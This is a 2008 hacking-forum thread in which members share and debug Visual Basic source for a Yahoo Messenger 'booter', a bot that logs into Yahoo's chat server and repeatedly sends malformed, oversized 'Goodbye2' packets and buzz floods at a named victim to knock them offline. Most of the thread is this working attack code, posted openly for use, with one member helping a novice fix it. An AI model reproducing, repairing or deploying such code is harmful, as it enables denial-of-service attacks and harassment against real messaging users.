1 Bot Login Source

__iMMoRTaL · 04-07-2008, 03:20 PM

Here is a full working 1 bot login source to learn from. It has the updated login and a working packet to boot with.

[Only registered users can see links. ]

_____snoop_____ · 04-08-2008, 10:50 PM

Sorry for doble posting. i try to edit my post but i see this msg .

The administrator has specified that you can only edit messages for 15 minutes after you have posted. This limit has expired, so you must contact the administrator to make alterations on your message.

Cancel Changes .

anyway please delete my 1st post bcoz the code not correct
here the right code

Bro can you help me for my problem i try to make 1 bot login with your source code,Boot packet and login module.

here the pic of testing booter

then i play the testing booter

then i type my id and pass

but when i click login i have this error

just i learned only the satma source code, like this when you click the read me this msg will be show
and only this one is working in my practice booter

Code:

Private Sub Command5_Click()
MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP"
End Sub

here your 1bot login source code bro immortal but i edit this

Code:

Private Sub Winsock1_Connect()
Winsock1.SendData Get_Key(YahooID)
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String, dData() As String, sData() As String, i As Integer
Dim Crypt(1) As String
Winsock1.GetData Data, vbString, bytesTotal
dData = Split(Data, "YMSG" & Chr(0))
For i = 0 To UBound(dData)
Data = "YMSG" & Chr(0) & dData(i)
Select Case LCase(Mid(Data, 12, 1))
    Case "w"
    SessionKey = Mid(Data, 17, 4)
    sData = Split(Data, "À€")
    Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1)
    Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1))
    Case "u"
    status.Caption = "Connected."
 
End Select
If InStr(1, Data, "None of the users in the invite list are available") Then
status.Caption = " Booted"
End If
If Mid(Data, 12, Len("Oÿÿÿÿ")) = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass."
Next
Debug.Print Replace(Data, Chr(0), "*")
End Sub
Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect Host_Name, 5050
End Sub
Private Sub Command2_Click()
Winsock1.Close
Timer1.Enabled = False
status = "Lag out Bot"
End Sub
Private Sub Command3_Click()
If Victim.Text = "immortal" Then End
Timer1.Enabled = True
status = "Kicking"
End Sub
Private Sub Command4_Click()
Timer1.Enabled = False
Winsock1.Close
Pause 0.3
Winsock1.Connect Host_Name, 5050
status = "stopped"
End Sub
Private Sub Command5_Click()
MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP"
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
MsgBox "TESTING TO MAKE 1 BOT LOGIN WITH IMORTAL SOURCE TO LEARN SNOOP IN BOOTER PROGRAMING."
End Sub

and here the login module and here your boot login and boot packet modules

here your boot packet bro immortal but i edit this bro

Code:

Public Function BuzzBombNew(WhoFrom As String, Whoto As String)
Dim Packet As String
Packet = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€14À€<ding>À€97À€1À€63À€;0À€64À€0À€206À€0À€"
BuzzBombNew = Header("06", Packet)
Debug.Print BuzzBombNew
End Function
 
Public Function Goodbye2(WhoFrom As String, Whoto As String) As String
Dim Packet1 As String, Packet2 As String, Packet3 As String, Packet4 As String, Packet5 As String
Packet1 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "asdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€1À€"
Packet2 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "sdfasdf¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€2À€"
Packet3 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "sdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€3À€"
Packet4 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "sdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€4À€"
Packet5 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "asdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€5À€"
Goodbye2a = Header("E9", Packet1)
Goodbye2b = Header("E9", Packet2)
Goodbye2c = Header("E9", Packet3)
Goodbye2d = Header("E9", Packet4)
Goodbye2e = Header("E9", Packet5)
Goodbye2 = Goodbye2a & Goodbye2b & Goodbye2c & Goodbye2d & Goodbye2e
Debug.Print Goodbye2
End Function

login modules by immortal but i edit this

Code:

Public Const Host_Name As String = "cs10.msg.dcn.yahoo.com"
Const Ver As Integer = 13
Const Name As String = "YMSG"
Private Declare Function YMSG12_ScriptedMind_Encrypt Lib "YMSG12ENCRYPT.dll" (ByVal UserName As String, ByVal Password As String, ByVal Seed As String, ByVal result_6 As String, ByVal result_96 As String, intt As Long) As Boolean
Public Function GetStrings(YahooID As String, YahooPass As String, Seed As String, Str1 As String, Str2 As String, Mode As Long) As Boolean
Dim A(1) As String, B As Long
On Error GoTo err
A(0) = String(80, vbNullChar)
A(1) = String(80, vbNullChar)
GetStrings = YMSG12_ScriptedMind_Encrypt(YahooID, YahooPass, Seed, A(0), A(1), Mode)
B = InStr(1, A(0), vbNullChar)
Str1 = Left$(A(0), B - 1)
B = InStr(1, A(1), vbNullChar)
Str2 = Left$(A(1), B - 1)
Exit Function
err:
GetStrings = False
End Function
Public Function Header(ByVal PacketType As String, ByVal pck As String) As String
Dim V As Integer
Dim X As Integer
X = 0
V = Len(pck)
Do While V > 255
V = V - 256
X = X + 1
Loop
Header = Name & Chr(0) & Chr(Ver) & String(2, 0) & Chr(X) & Chr(V) & Chr(0) & Chr("&H" & PacketType) & String(8, 0) & pck
Debug.Print Header
End Function
Public Function Login(ByVal YahooID As String, ByVal Crypt1 As String, ByVal crypt2 As String) As String
Dim pck As String
pck = "6À€" & Crypt1 & "À€96À€" & crypt2 & "À€0À€" & YahooID & "À€2À€" & YahooID & "À€192À€-1À€2À€1À€1À€" & YahooID & "À€99À€betaÀ€135À€6,0,0,1555À€148À€300À€59À€B04um3 lh08ql2q&b=2À€59À€À€"
Login = Header("54", pck)
End Function
Public Function Get_Key(YahooID As String) As String
Dim pck As String
pck = "1À€" & YahooID & "À€"
Get_Key = Header("57", pck)
End Function
 
 
Public Sub Pause(interval)
Dim X
 X = Timer
  Do While Timer - X < Val(interval)
  DoEvents
 Loop
End Sub

this is the code of my practice booter with imortal source code

Code:

Private Sub Winsock1_Connect()
Winsock1.SendData Get_Key(YahooID)
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String, dData() As String, sData() As String, i As Integer
Dim Crypt(1) As String
Winsock1.GetData Data, vbString, bytesTotal
dData = Split(Data, "YMSG" & Chr(0))
For i = 0 To UBound(dData)
Data = "YMSG" & Chr(0) & dData(i)
Select Case LCase(Mid(Data, 12, 1))
    Case "w"
    SessionKey = Mid(Data, 17, 4)
    sData = Split(Data, "À€")
    Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1)
    Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1))
    Case "u"
    status.Caption = "Connected."
 
End Select
If InStr(1, Data, "None of the users in the invite list are available") Then
status.Caption = " Booted"
End If
If Mid(Data, 12, Len("Oÿÿÿÿ")) = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass."
Next
Debug.Print Replace(Data, Chr(0), "*")
End Sub
Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect Host_Name, 5050
End Sub
Private Sub Command2_Click()
Winsock1.Close
Timer1.Enabled = False
status = "Lag out Bot"
End Sub
Private Sub Command3_Click()
If Victim.Text = "immortal" Then End
Timer1.Enabled = True
status = "Kicking"
End Sub
Private Sub Command4_Click()
Timer1.Enabled = False
Winsock1.Close
Pause 0.3
Winsock1.Connect Host_Name, 5050
status = "stopped"
End Sub
Private Sub Command5_Click()
MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP"
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
MsgBox "TESTING TO MAKE 1 BOT LOGIN WITH IMORTAL SOURCE TO LEARN SNOOP IN BOOTER PROGRAMING."
End Sub
 
Private Sub Frame2_DragDrop(Source As Control, X As Single, Y As Single)
 
End Sub

and here the original code of 1 bot login source code by immortal

Code:

Private Sub Form_Load()
'This is where you can tell the program what to do on load.
Timer1.Enabled = False
'Typing MsgBox "Text Here"  will popup a message box.  You can change Text Here
'to whatever you would like the message box to say.
MsgBox "This is just a simple 1 bot login example I made to hopefully give some people some idea how to code a 1 bot login."
End Sub
 
Private Sub Form_Unload(Cancel As Integer)
'This tells the program what to do when it closes.  A lot of people make there programs
'open up a link to there site upon exit.
GotoSite "http://www.Yahoo-Sux.com"
Winsock1.Close
Timer1.Enabled = False
Pause 0.1
Unload Me
End Sub
 
Private Sub Winsock1_Connect()
'Connects Winsock
Winsock1.SendData Get_Key(YahooID)
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
'Tells winsock what to do with returning data
On Error Resume Next
Dim Data As String, dData() As String, sData() As String, i As Integer
Dim Crypt(1) As String
Winsock1.GetData Data, vbString, bytesTotal
dData = Split(Data, "YMSG" & Chr(0))
For i = 0 To UBound(dData)
Data = "YMSG" & Chr(0) & dData(i)
Select Case LCase(Mid(Data, 12, 1))
    Case "w"
    SessionKey = Mid(Data, 17, 4)
    sData = Split(Data, "À€")
    Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1)
    Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1))
    Case "u"
    status.Caption = "Connected."
 
End Select
If InStr(1, Data, "None of the users in the invite list are available") Then
status.Caption = " Booted"
End If
If Mid(Data, 12, Len("Oÿÿÿÿ")) = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass."
Next
Debug.Print Replace(Data, Chr(0), "*")
End Sub
 
Private Sub Command1_Click()
'Logs the bot out and changes status to "Logged Out"
Winsock1.Close
Timer1.Enabled = False
status = "Logged Out"
End Sub
 
Private Sub Command1_Click()
'Connects the socket to the Yahoo Server and selected port
'This particular code calls the hostname from the module Login2, but
'you could also tell it to call it from a text or combo box.
'Ex:  Winsock1.Connect LoginServer.Text, 5050 That way you can change the servers
Winsock1.Close
Winsock1.Connect Host_Name, 5050
End Sub
 
Private Sub Command3_Click()
'If you wanna make it to where no one can boot you with this program, put your name
'where "idylize" is.  It just tells the program to end that command if your id is in
'the text box.
If Victim.Text = "immortal" Then End
'Turns Timer1 On.
Timer1.Enabled = True
'This is how to change the programs status message
status = "booting..."
End Sub
 
Private Sub Command4_Click()
'This turns timer1 off, then logs the bot out and then logs it back in.  It auto-refreshes
'your bot for ya.
Timer1.Enabled = False
Winsock1.Close
Pause 0.3
Winsock1.Connect Host_Name, 5050
status = "stopped"
End Sub
 
 
 
Private Sub Timer1_Timer()
'When the timer is enabled it will do the following:
'Tells it if it encounters an error to proceed to next command
On Error Resume Next
'Tells winsock to send the following command.  The stuff in paranthesis substitutes
'The text boxes with the usernames into the proper locations.
Winsock1.SendData Goodbye2(YahooID, Victim)
Pause 0.001
End Sub

Sorry Guys im newbie in programming and im only trying to practice to make booter with immortal source code but i have this problem so bro immortal or any one can help me how to fixed this problem or tell me what wrong in this code?
bcoz if i make this i think this is to start learning how to make coding on my own booter.

satma · 04-08-2008, 11:06 PM

i'am so confused about what you're trying to say , upload your project all of it with the modules and post it here , or send the link to me via site pm , and post back when you do so i check the messages

_____snoop_____ · 04-09-2008, 08:30 AM

Ok satma here the download link to immortal 1bot login source edit by me to practice to make 1bot login and the original 1bot login source code by immortal. all project and modules is here and the original source and modules by immortal

Scan link:
[Only registered users can see links. ]

here the download link

[Only registered users can see links. ]

NOTE: I DONT HAVE ANTI VIRUS IN MY COMPUTER SO I SCAN THE FILES IN [Only registered users can see links. ]. Guys or any staft please
Hex or check my download link and if my post is not safe to open please delete my download link.

and satma what your yahoo id i will add you to tell some source code

satma · 04-09-2008, 09:11 AM

here's your project , i fixed it , and wrote some info inside of the project bout what i've done , if you tell me what i did to fix the project , i'll be helping you .

[Only registered users can see links. ]

04-07-2008, 03:20 PM	#1 (permalink)
__iMMoRTaL -Owner of Yahoo-Sux.Com- Join Date: Apr 2008 Location: US Posts: 58 Thanks: 29 Thanked 294 Times in 39 Posts Reputation: 2354	1 Bot Login Source Here is a full working 1 bot login source to learn from. It has the updated login and a working packet to boot with. [Only registered users can see links. ]

04-08-2008, 10:50 PM	#2 (permalink)
_____snoop_____ Junior Member Join Date: Apr 2008 Posts: 47 Thanks: 22 Thanked 87 Times in 18 Posts Reputation: 165	Re: 1 Bot Login Source Sorry for doble posting. i try to edit my post but i see this msg . The administrator has specified that you can only edit messages for 15 minutes after you have posted. This limit has expired, so you must contact the administrator to make alterations on your message. Cancel Changes . anyway please delete my 1st post bcoz the code not correct here the right code Bro can you help me for my problem i try to make 1 bot login with your source code,Boot packet and login module. here the pic of testing booter then i play the testing booter then i type my id and pass but when i click login i have this error just i learned only the satma source code, like this when you click the read me this msg will be show and only this one is working in my practice booter Code: Private Sub Command5_Click() MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP" End Sub here your 1bot login source code bro immortal but i edit this Code: Private Sub Winsock1_Connect() Winsock1.SendData Get_Key(YahooID) End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim Data As String, dData() As String, sData() As String, i As Integer Dim Crypt(1) As String Winsock1.GetData Data, vbString, bytesTotal dData = Split(Data, "YMSG" & Chr(0)) For i = 0 To UBound(dData) Data = "YMSG" & Chr(0) & dData(i) Select Case LCase(Mid(Data, 12, 1)) Case "w" SessionKey = Mid(Data, 17, 4) sData = Split(Data, "À€") Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1) Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1)) Case "u" status.Caption = "Connected." End Select If InStr(1, Data, "None of the users in the invite list are available") Then status.Caption = " Booted" End If If Mid(Data, 12, Len("Oÿÿÿÿ")) = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass." Next Debug.Print Replace(Data, Chr(0), "") End Sub Private Sub Command1_Click() Winsock1.Close Winsock1.Connect Host_Name, 5050 End Sub Private Sub Command2_Click() Winsock1.Close Timer1.Enabled = False status = "Lag out Bot" End Sub Private Sub Command3_Click() If Victim.Text = "immortal" Then End Timer1.Enabled = True status = "Kicking" End Sub Private Sub Command4_Click() Timer1.Enabled = False Winsock1.Close Pause 0.3 Winsock1.Connect Host_Name, 5050 status = "stopped" End Sub Private Sub Command5_Click() MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP" End Sub Private Sub Form_Load() Timer1.Enabled = False MsgBox "TESTING TO MAKE 1 BOT LOGIN WITH IMORTAL SOURCE TO LEARN SNOOP IN BOOTER PROGRAMING." End Sub and here the login module and here your boot login and boot packet modules here your boot packet bro immortal but i edit this bro Code: Public Function BuzzBombNew(WhoFrom As String, Whoto As String) Dim Packet As String Packet = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€14À€<ding>À€97À€1À€63À€;0À€64À€0À€206À€0À€" BuzzBombNew = Header("06", Packet) Debug.Print BuzzBombNew End Function Public Function Goodbye2(WhoFrom As String, Whoto As String) As String Dim Packet1 As String, Packet2 As String, Packet3 As String, Packet4 As String, Packet5 As String Packet1 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "asdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€1À€" Packet2 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "sdfasdf¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€2À€" Packet3 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "sdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€3À€" Packet4 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "sdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€4À€" Packet5 = "1À€" & WhoFrom & "À€5À€" & Whoto & "À€59À€" & "asdfas¦¦¦µ¦µ¼-Ü¦-" & "--À€258À€" & String(1280, "Ü") & "À€135À€1.0.1À€310À€en-usÀ€336À€1À€222À€5À€" Goodbye2a = Header("E9", Packet1) Goodbye2b = Header("E9", Packet2) Goodbye2c = Header("E9", Packet3) Goodbye2d = Header("E9", Packet4) Goodbye2e = Header("E9", Packet5) Goodbye2 = Goodbye2a & Goodbye2b & Goodbye2c & Goodbye2d & Goodbye2e Debug.Print Goodbye2 End Function login modules by immortal but i edit this Code: Public Const Host_Name As String = "cs10.msg.dcn.yahoo.com" Const Ver As Integer = 13 Const Name As String = "YMSG" Private Declare Function YMSG12_ScriptedMind_Encrypt Lib "YMSG12ENCRYPT.dll" (ByVal UserName As String, ByVal Password As String, ByVal Seed As String, ByVal result_6 As String, ByVal result_96 As String, intt As Long) As Boolean Public Function GetStrings(YahooID As String, YahooPass As String, Seed As String, Str1 As String, Str2 As String, Mode As Long) As Boolean Dim A(1) As String, B As Long On Error GoTo err A(0) = String(80, vbNullChar) A(1) = String(80, vbNullChar) GetStrings = YMSG12_ScriptedMind_Encrypt(YahooID, YahooPass, Seed, A(0), A(1), Mode) B = InStr(1, A(0), vbNullChar) Str1 = Left$(A(0), B - 1) B = InStr(1, A(1), vbNullChar) Str2 = Left$(A(1), B - 1) Exit Function err: GetStrings = False End Function Public Function Header(ByVal PacketType As String, ByVal pck As String) As String Dim V As Integer Dim X As Integer X = 0 V = Len(pck) Do While V > 255 V = V - 256 X = X + 1 Loop Header = Name & Chr(0) & Chr(Ver) & String(2, 0) & Chr(X) & Chr(V) & Chr(0) & Chr("&H" & PacketType) & String(8, 0) & pck Debug.Print Header End Function Public Function Login(ByVal YahooID As String, ByVal Crypt1 As String, ByVal crypt2 As String) As String Dim pck As String pck = "6À€" & Crypt1 & "À€96À€" & crypt2 & "À€0À€" & YahooID & "À€2À€" & YahooID & "À€192À€-1À€2À€1À€1À€" & YahooID & "À€99À€betaÀ€135À€6,0,0,1555À€148À€300À€59À€B04um3 lh08ql2q&b=2À€59À€À€" Login = Header("54", pck) End Function Public Function Get_Key(YahooID As String) As String Dim pck As String pck = "1À€" & YahooID & "À€" Get_Key = Header("57", pck) End Function Public Sub Pause(interval) Dim X X = Timer Do While Timer - X < Val(interval) DoEvents Loop End Sub this is the code of my practice booter with imortal source code Code: Private Sub Winsock1_Connect() Winsock1.SendData Get_Key(YahooID) End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim Data As String, dData() As String, sData() As String, i As Integer Dim Crypt(1) As String Winsock1.GetData Data, vbString, bytesTotal dData = Split(Data, "YMSG" & Chr(0)) For i = 0 To UBound(dData) Data = "YMSG" & Chr(0) & dData(i) Select Case LCase(Mid(Data, 12, 1)) Case "w" SessionKey = Mid(Data, 17, 4) sData = Split(Data, "À€") Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1) Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1)) Case "u" status.Caption = "Connected." End Select If InStr(1, Data, "None of the users in the invite list are available") Then status.Caption = " Booted" End If If Mid(Data, 12, Len("Oÿÿÿÿ")) = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass." Next Debug.Print Replace(Data, Chr(0), "") End Sub Private Sub Command1_Click() Winsock1.Close Winsock1.Connect Host_Name, 5050 End Sub Private Sub Command2_Click() Winsock1.Close Timer1.Enabled = False status = "Lag out Bot" End Sub Private Sub Command3_Click() If Victim.Text = "immortal" Then End Timer1.Enabled = True status = "Kicking" End Sub Private Sub Command4_Click() Timer1.Enabled = False Winsock1.Close Pause 0.3 Winsock1.Connect Host_Name, 5050 status = "stopped" End Sub Private Sub Command5_Click() MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP" End Sub Private Sub Form_Load() Timer1.Enabled = False MsgBox "TESTING TO MAKE 1 BOT LOGIN WITH IMORTAL SOURCE TO LEARN SNOOP IN BOOTER PROGRAMING." End Sub Private Sub Frame2_DragDrop(Source As Control, X As Single, Y As Single) End Sub and here the original code of 1 bot login source code by immortal Code: Private Sub Form_Load() 'This is where you can tell the program what to do on load. Timer1.Enabled = False 'Typing MsgBox "Text Here" will popup a message box. You can change Text Here 'to whatever you would like the message box to say. MsgBox "This is just a simple 1 bot login example I made to hopefully give some people some idea how to code a 1 bot login." End Sub Private Sub Form_Unload(Cancel As Integer) 'This tells the program what to do when it closes. A lot of people make there programs 'open up a link to there site upon exit. GotoSite "http://www.Yahoo-Sux.com" Winsock1.Close Timer1.Enabled = False Pause 0.1 Unload Me End Sub Private Sub Winsock1_Connect() 'Connects Winsock Winsock1.SendData Get_Key(YahooID) End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'Tells winsock what to do with returning data On Error Resume Next Dim Data As String, dData() As String, sData() As String, i As Integer Dim Crypt(1) As String Winsock1.GetData Data, vbString, bytesTotal dData = Split(Data, "YMSG" & Chr(0)) For i = 0 To UBound(dData) Data = "YMSG" & Chr(0) & dData(i) Select Case LCase(Mid(Data, 12, 1)) Case "w" SessionKey = Mid(Data, 17, 4) sData = Split(Data, "À€") Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1) Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1)) Case "u" status.Caption = "Connected." End Select If InStr(1, Data, "None of the users in the invite list are available") Then status.Caption = " Booted" End If If Mid(Data, 12, Len("Oÿÿÿÿ")) = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass." Next Debug.Print Replace(Data, Chr(0), "") End Sub Private Sub Command1_Click() 'Logs the bot out and changes status to "Logged Out" Winsock1.Close Timer1.Enabled = False status = "Logged Out" End Sub Private Sub Command1_Click() 'Connects the socket to the Yahoo Server and selected port 'This particular code calls the hostname from the module Login2, but 'you could also tell it to call it from a text or combo box. 'Ex: Winsock1.Connect LoginServer.Text, 5050 That way you can change the servers Winsock1.Close Winsock1.Connect Host_Name, 5050 End Sub Private Sub Command3_Click() 'If you wanna make it to where no one can boot you with this program, put your name 'where "idylize" is. It just tells the program to end that command if your id is in 'the text box. If Victim.Text = "immortal" Then End 'Turns Timer1 On. Timer1.Enabled = True 'This is how to change the programs status message status = "booting..." End Sub Private Sub Command4_Click() 'This turns timer1 off, then logs the bot out and then logs it back in. It auto-refreshes 'your bot for ya. Timer1.Enabled = False Winsock1.Close Pause 0.3 Winsock1.Connect Host_Name, 5050 status = "stopped" End Sub Private Sub Timer1_Timer() 'When the timer is enabled it will do the following: 'Tells it if it encounters an error to proceed to next command On Error Resume Next 'Tells winsock to send the following command. The stuff in paranthesis substitutes 'The text boxes with the usernames into the proper locations. Winsock1.SendData Goodbye2(YahooID, Victim) Pause 0.001 End Sub Sorry Guys im newbie in programming and im only trying to practice to make booter with immortal source code but i have this problem so bro immortal or any one can help me how to fixed this problem or tell me what wrong in this code? bcoz if i make this i think this is to start learning how to make coding on my own booter. Last edited by _____snoop_____ : 04-08-2008 at 10:55 PM.*

04-08-2008, 11:06 PM	#3 (permalink)
satma ++ Expl0iteD - LifE ++ Join Date: Oct 2007 Posts: 149 Thanks: 58 Thanked 599 Times in 77 Posts Reputation: 1750	Re: 1 Bot Login Source i'am so confused about what you're trying to say , upload your project all of it with the modules and post it here , or send the link to me via site pm , and post back when you do so i check the messages

04-09-2008, 08:30 AM	#4 (permalink)
_____snoop_____ Junior Member Join Date: Apr 2008 Posts: 47 Thanks: 22 Thanked 87 Times in 18 Posts Reputation: 165	Re: 1 Bot Login Source Ok satma here the download link to immortal 1bot login source edit by me to practice to make 1bot login and the original 1bot login source code by immortal. all project and modules is here and the original source and modules by immortal Scan link: [Only registered users can see links. ] here the download link [Only registered users can see links. ] NOTE: I DONT HAVE ANTI VIRUS IN MY COMPUTER SO I SCAN THE FILES IN [Only registered users can see links. ]. Guys or any staft please Hex or check my download link and if my post is not safe to open please delete my download link. and satma what your yahoo id i will add you to tell some source code

04-09-2008, 09:11 AM	#5 (permalink)
satma ++ Expl0iteD - LifE ++ Join Date: Oct 2007 Posts: 149 Thanks: 58 Thanked 599 Times in 77 Posts Reputation: 1750	Re: 1 Bot Login Source here's your project , i fixed it , and wrote some info inside of the project bout what i've done , if you tell me what i did to fix the project , i'll be helping you . [Only registered users can see links. ] Last edited by satma : 04-09-2008 at 09:16 AM.